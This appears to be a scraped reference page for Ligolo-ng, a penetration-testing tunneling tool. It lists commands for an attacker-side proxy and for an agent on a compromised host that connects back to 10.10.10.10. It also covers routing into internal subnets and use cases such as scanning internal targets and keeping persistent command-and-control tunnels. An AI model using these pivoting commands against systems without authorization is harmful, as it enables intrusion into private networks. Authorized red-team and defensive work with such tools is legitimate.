Maintaining Access
Ligolo-ng is a simple, lightweight, and fast tunneling tool that uses a TUN interface. It allows penetration testers to establish tunnels from a reverse TCP/TLS connection without needing SOCKS proxies.
go install github.com/nicocha30/ligolo-ng@latest
ligolo-proxy / ligolo-agent
Ligolo-ng is a lightweight tunneling tool that creates network-layer tunnels using TUN interfaces. It allows penetration testers to route traffic through a compromised host as if they were directly connected to the target's internal network, without needing separate SOCKS proxies for each tool.
Unlike application-layer proxies, Ligolo-ng operates at the network layer by creating a virtual TUN interface. This means any tool works transparently — Nmap, Metasploit, browser, or custom scripts — all route through the tunnel without individual proxy configuration.
Ligolo-ng consists of two components: the proxy (running on the attacker machine) and the agent (running on the compromised target). The agent connects back to the proxy over TCP/TLS, and the proxy creates a TUN interface that routes traffic to the target's network.
./proxy -selfcertStart the Ligolo-ng proxy server with a self-signed certificate./proxy -selfcert -laddr 0.0.0.0:11601Start the proxy listening on a specific address and port for agents./proxy -certfile cert.pem -keyfile key.pemStart the proxy using a provided TLS certificate and key./proxy -selfcert -allow-domains example.comStart the proxy restricting the self-signed cert to given domains./agent -connect 10.10.10.10:11601Connect an agent back to the proxy control server./agent -connect 10.10.10.10:11601 -ignore-certConnect an agent while ignoring TLS certificate verification./agent -connect 10.10.10.10:11601 -retryConnect an agent and keep retrying if the connection dropsagent.exe -connect 10.10.10.10:11601 -ignore-certRun the Windows agent binary connecting back to the proxy./agent -bind 0.0.0.0:11601 -ignore-certRun the agent in bind mode so the proxy connects to itsessionSelect the active agent session to interact withifconfigShow the network interfaces reported by the selected agentsudo ip tuntap add user <USER> mode tun ligoloCreate the ligolo tun interface on the operator hostsudo ip link set ligolo upBring the ligolo tun interface upsudo ip route add 192.168.1.0/24 dev ligoloRoute a remote subnet through the ligolo interfacesudo ip route add 240.0.0.1/32 dev ligoloAdd the special route to reach the agent host's own 127.0.0.1 servicesRoute traffic through a compromised host to access internal networks without SOCKS configuration.
Scan and exploit additional targets within the internal network through the established tunnel.
Access internal services directly as if you were physically connected to the target network.
Chain multiple Ligolo-ng tunnels to traverse deeply nested network segments.
Use any existing tool (Nmap, browser, SSH) without proxy configuration through the TUN interface.
Create persistent tunnels for command and control traffic during extended red team operations.
Maintaining Access
HTTP-based TCP/UDP tunnel with SOCKS proxy support for firewall bypass.
Maintaining Access
Force TCP applications through proxy chains for routing.
Maintaining Access
Transparent VPN over SSH without admin rights on remote server.
Maintaining Access
Bidirectional data relay for shells, forwarding, and encrypted tunnels.
Information Gathering
Network scanner for discovering hosts and services through tunnels.
The interface provides a dashboard indicating live sessions, active host connections, and the operational state of the network tunnels.
This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.